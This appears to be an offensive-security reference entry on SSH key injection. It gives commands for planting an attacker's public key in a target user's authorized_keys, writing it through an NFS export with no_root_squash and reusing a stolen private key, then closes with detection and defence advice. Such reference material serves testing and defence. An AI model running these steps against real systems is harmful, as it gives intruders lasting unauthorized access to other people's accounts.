SSH Key Injection (authorized_keys)

SSH key injection turns a write primitive into stable access: if you can write to a user's ~/.ssh/authorized_keys (or their home directory), you append your public key and log in over SSH as that user whenever you want, no password needed.

Why it works. SSH authenticates by public key anyone whose private key matches an entry in authorized_keys. The file is just text: one more line and you have login. The write primitive comes from many places: an arbitrary read/write in the app, a misconfigured service running as the user, a home with loose permissions, a root mounting NFS with no_root_squash, or a process that copies attacker-controlled files.

The abuse. You generate a key pair and slip the public key into the target's authorized_keys.

ssh-keygen -t ed25519 -f ./id_atk -N ''
# write the public key into the target user's authorized_keys (via whatever primitive)
cat id_atk.pub >> /home/<user>/.ssh/authorized_keys   # or mkdir -p ~/.ssh; ...
ssh -i ./id_atk <user>@<ip>

Common write primitives. The key rarely lands via an interactive cat; it usually slips in through the flaw that gave access. Mind the permissions: sshd ignores authorized_keys if ~/.ssh or the file are group/other-writable.

# create ~/.ssh with valid perms and drop the key in one step (if sshd enforces them)
mkdir -p /home/<user>/.ssh && chmod 700 /home/<user>/.ssh
echo 'ssh-ed25519 AAAA... atk' >> /home/<user>/.ssh/authorized_keys && chmod 600 /home/<user>/.ssh/authorized_keys

# NFS exported with no_root_squash: mount as root and write the remote authorized_keys
mount -t nfs <ip>:/home /mnt && mkdir -p /mnt/<user>/.ssh
cat id_atk.pub >> /mnt/<user>/.ssh/authorized_keys

# if instead of writing you can READ a private key, reuse it as-is
chmod 600 id_rsa && ssh -i id_rsa <user>@<ip>

Requirements. Be able to write the target's authorized_keys (or create their ~/.ssh with valid permissions) and have the SSH server accept public-key auth for that account.

How to detect it. The signal is creation or modification of authorized_keys and key-based logins from new sources. Watch for changes under ~/.ssh/ (auditd/inotify), keys added outside a provisioning process, and SSH sessions with key fingerprints not seen before.

Defence. Strict permissions on homes and ~/.ssh (700/600), an AuthorizedKeysFile outside user control where applicable, monitoring of authorized_keys, and no NFS home exports with no_root_squash. It chains with writing /etc/passwd and is a cousin of SSH CA abuse and credential reuse.